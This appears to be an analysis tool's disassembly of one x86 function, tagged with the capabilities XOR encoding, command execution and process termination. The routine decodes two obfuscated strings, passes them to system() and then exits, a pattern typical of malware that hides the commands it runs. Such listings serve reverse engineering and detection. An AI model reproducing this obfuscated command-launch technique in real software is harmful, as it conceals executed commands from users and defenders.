Function at 0x44d4c0
Capabilities:
Encode data using xor
Execute command
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d1a28
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xf8
mov eax, dword [0x659bc0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x90]
mov dword [ebp - 4], 0
push eax
call fcn.0044d8f0
mov esi, dword [0x6647f8]
mov edi, eax
cmp byte [edi + 0x1a], 0
je 0x44d693
xor ecx, ecx
cmp esi, 2
jl 0x44d664
movaps xmm0, xmmword [str.1111111111111111]
mov esi, 4
movaps xmm4, xmmword [0x64a4a0]
mov edx, edi
movaps xmm3, xmmword [0x64a550]
sub esi, edi
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x100], xmm0
mov eax, dword [ebp - 0x100]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x100]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
xorps xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x18
jl 0x44d563
cmp ecx, 0x1b
jge 0x44d68d
mov eax, 0x4d4873ed
lea esi, [ecx + edi]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
inc ecx
imul eax, eax, 0x35
sub dl, al
add dl, 0x31
xor byte [esi], dl
cmp ecx, 0x1b
jl 0x44d664
mov esi, dword [0x6647f8]
push edi
lea ecx, [ebp - 0x74]
call fcn.0046e7c0
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0046e590
mov dword [ebp - 0xf0], eax
lea eax, [ebp - 0xe8]
push eax
call fcn.0044d8d0
mov edi, eax
cmp byte [edi + 0x56], 0
je 0x44d853
xor ecx, ecx
mov dword [ebp - 0xec], ecx
cmp esi, 2
jl 0x44d820
movaps xmm0, xmmword [str.1111111111111111]
mov esi, 4
movaps xmm4, xmmword [0x64a4a0]
mov edx, edi
movaps xmm3, xmmword [0x64a550]
sub esi, edi
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x100], xmm0
mov eax, dword [ebp - 0x100]
nop dword [eax + eax]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x100]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
xorps xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x50
jl 0x44d710
mov dword [ebp - 0xec], ecx
cmp ecx, 0x57
jge 0x44d853
nop word [eax + eax]
mov eax, 0x4d4873ed
lea esi, [ecx + edi]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [esi], cl
mov ecx, dword [ebp - 0xec]
inc ecx
mov dword [ebp - 0xec], ecx
cmp ecx, 0x57
jl 0x44d820
push edi
lea ecx, [ebp - 0x5c]
call fcn.0046e7c0
lea ecx, [ebx + 8]
mov byte [ebp - 4], 2
push ecx
mov ecx, eax
call fcn.0046e590
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00470da0
push dword [ebp - 0xf0]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00470d50
add esp, 0x18
mov ecx, eax
call fcn.0046e590
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x2c]
call fcn.0046e6f0
lea ecx, [ebp - 0x44]
call fcn.0046e6f0
lea ecx, [ebp - 0x5c]
call fcn.0046e6f0
lea ecx, [ebp - 0x74]
call fcn.0046e6f0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]